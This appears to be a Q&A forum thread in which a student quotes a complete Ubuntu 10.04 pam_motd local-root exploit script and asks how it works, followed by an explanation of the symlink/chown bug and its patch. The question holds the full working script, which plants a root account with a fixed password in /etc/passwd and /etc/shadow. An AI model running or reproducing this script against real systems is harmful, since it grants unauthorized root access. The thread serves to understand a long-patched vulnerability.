How did this exploit allow write access to root owned files?

Question

For a computer security assignment at my university I need to find and understand an exploit that works on ubuntu 10.04. I have already found and tested one on an Ubuntu 10.04 machine (that I own)

This is the exploit, run as a normal user that gives you root access. Taken from the Offensive Security website.

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

I understand why it backups files and that it generates a key for using with ssh later, and that it makes a soft link between the cache file, which is a file that the user running the script has rights to read and write, and the file that you want to take ownership.

The thing I don't understand is why is the echo "$P" >> /etc/passwd and echo "$S" >> /etc/shadow made on these files instead of the file cache? Wasn't that the purpose of the soft link between these files and the cache file to be able to write it?

How does $USER have permission at that point in the script to write on both the shadow and passwd? The answer clearly has to do with the ssh made to localhost, but why does this ssh grant these permissions?

After that I get what happens, once both files are modified then the user toor has root permissions and is summoned with the su command. My main problem is understanding with ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true lets you gain write permissions on both the shadow and the passwd.

Solution

This was a bug in pam_motd that has long since been patched out:

pam_motd (aka the MOTD module) in libpam-modules before 1.1.0-2ubuntu1.1 in PAM on Ubuntu 9.10 and libpam-modules before 1.1.1-2ubuntu5 in PAM on Ubuntu 10.04 LTS allows local users to change the ownership of arbitrary files via a symlink attack on .cache in a user's home directory, related to "user file stamps" and the motd.legal-notice file.

This basically translates to, while logging in with SSH, PAM (the authentication module, running as root) would try to chown $USER: ~/.cache. It didn't look to see what that was so the ownership change was propagating to the linked file.

That allowed you to own and then edit the system files and gain root-level access.

While .cache was symlinked to /etc/{passwd,shadow} they could have echoed into .cache... But why bother? By that point those files had their file ownership changed to $USER. They were freely editable.

Just in answer to your comments:

• It doesn't give you permission, it (or I should say its PAM module) is the thing changing the ownership. But yes, PAM doing what it did was the problem.

• The symlink to ~/.cache is just a redirect for the exploit. Is required so that when you log in PAM (running as root) tries to chown the linked file. That's the exploit there.

• It was an oversight and it was fixed by dropping privileges before entering into any of that code.

Comments

[web.learner]

Yet another reason to always keep your Ubuntu install up-to-date!

[user282724]

So the only reason this attack is possible is because the ssh gives you permission to change ownership of files. Was this intended by the ubuntu designers until they realized it could be used with malicious ends? Or was it just a straight out bug that should never have appeared?.. Also why is the symbolic link necessary if youre not gonna write into the ~/.cache file?

[bain]

@user282724 It is called a symlink attack, and it is very old and yet still very common. This particular flaw comes not from "Ubuntu designers", or the authors of ssh, but from the authors of pam_motd. Symlink attacks are the result of coding errors, not misused features.

[Ilmari Karonen]

Is that really the diff you meant to link to? It seems that the only code change is fixing a regexp in pam-auth-update.

[R.. GitHub STOP HELPING ICE]

I would blame Ubuntu for enabling such a useless module as pam_motd. Enabling any code that runs in a privileged context without an extremely good reason to do so is an unreasonable risk.

[Aquarius Power]

@Seth I would like to upgrade mine, but without no-break I cant trust my electricity provider (completely random by no predictable reason - blackouts) so if it happens in the middle I am doomed (I guess?)

[web.learner]

@AquariusPower On a desktop? Sounds like you really need a UPS.